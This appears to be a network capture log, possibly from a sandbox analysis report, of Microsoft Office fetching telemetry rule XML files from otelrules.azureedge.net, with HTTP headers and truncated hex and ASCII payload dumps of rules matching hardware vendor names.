2024-10-10 08:13:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: e44feb8c-a01e-0084-742d-169ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081338Z-r154656d9bcq7mrvshhcb7rrsn00000000cg000000000rna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	64615	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:38 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 8cee974c-001e-005a-2e33-1ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081338Z-1597f696844rxj9pg4nkdptn1w00000000sg000000002m9k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	64617	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:38 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: f30ac50d-201e-0033-27d7-1ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081338Z-1597f696844gw7pjpmmetdx48000000001v0000000000h5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	64618	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:38 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:38 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 5e6d03be-001e-0014-0a36-165151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081338Z-r154656d9bcvjnbgheqhz2uek80000000weg000000002xn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:38 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	64621	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:38 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 69483ed4-001e-0034-56df-1add04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081338Z-1597f696844lt47xuv87mwabmw00000001u0000000008cq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:39 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	64620	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:38 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 4b0a3852-c01e-00ad-3b8c-15a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081338Z-r154656d9bc6kzfwvnn9vvz3c400000009zg00000000347c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	64619	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:38 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:38 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: a7623418-001e-00a2-348c-15d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081338Z-r154656d9bcbgl7txcdy78hpp400000000h000000000dk52 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:39 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	64622	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:39 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:39 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 4fef4e97-801e-007b-44c7-15e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081339Z-r154656d9bcqqgssyv95384a1c0000000wdg000000000dg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:39 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	64623	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:39 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:39 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 7200aca2-601e-0002-6177-1aa786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081339Z-1597f696844h8t2phuc1dssvp000000001q0000000001b1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:39 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	64626	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:39 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 8789ddbb-a01e-0084-6a8c-159ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081339Z-r154656d9bc8glqfu2duqg0z1w00000005vg000000008ed4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	64625	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:39 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:39 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 4700277e-801e-008f-589e-152c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081339Z-r154656d9bc9b22p5yc1zg6euw00000000mg00000000cter x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:39 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	64624	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:39 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:39 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 93d0904a-001e-0014-0d70-1a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081339Z-1597f696844zf5tbumkdu71prn00000001vg000000004bkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:39 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
